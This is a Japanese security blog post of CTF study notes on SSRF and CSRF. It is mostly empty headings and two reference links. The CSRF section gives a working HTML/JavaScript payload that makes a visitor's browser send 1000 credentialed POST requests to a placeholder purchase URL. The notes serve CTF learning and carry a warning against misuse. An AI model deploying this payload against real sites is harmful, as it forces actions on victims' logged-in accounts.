はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるSSRF,CSRF問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

SSRF, CSRF

SSRF

攻撃窓口

狙われる情報

対策

https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html
https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/

メモ

CSRF

目的のURLを1000回踏ませることができるコード

<html><script>
    async function go() {
        var xhr = new XMLHttpRequest()
        xhr.open("POST","https://example.com/buy", true);
        xhr.withCredentials = true;
        xhr.setRequestHeader("Content-Type","text/plain");
        xhr.send(JSON.stringify({"id":"XXXXXXXXXXXXXXXX"}));
    }
    for (var i = 0; i < 1000; i++) {
        go();
    }
</script></html>

CORSがあるので、結果は取得できないが、踏ませることはできる。

テク

CTF Writeups

Practicalな話

実装時に気を付けること

(CTFじゃ使えないけど)テストツール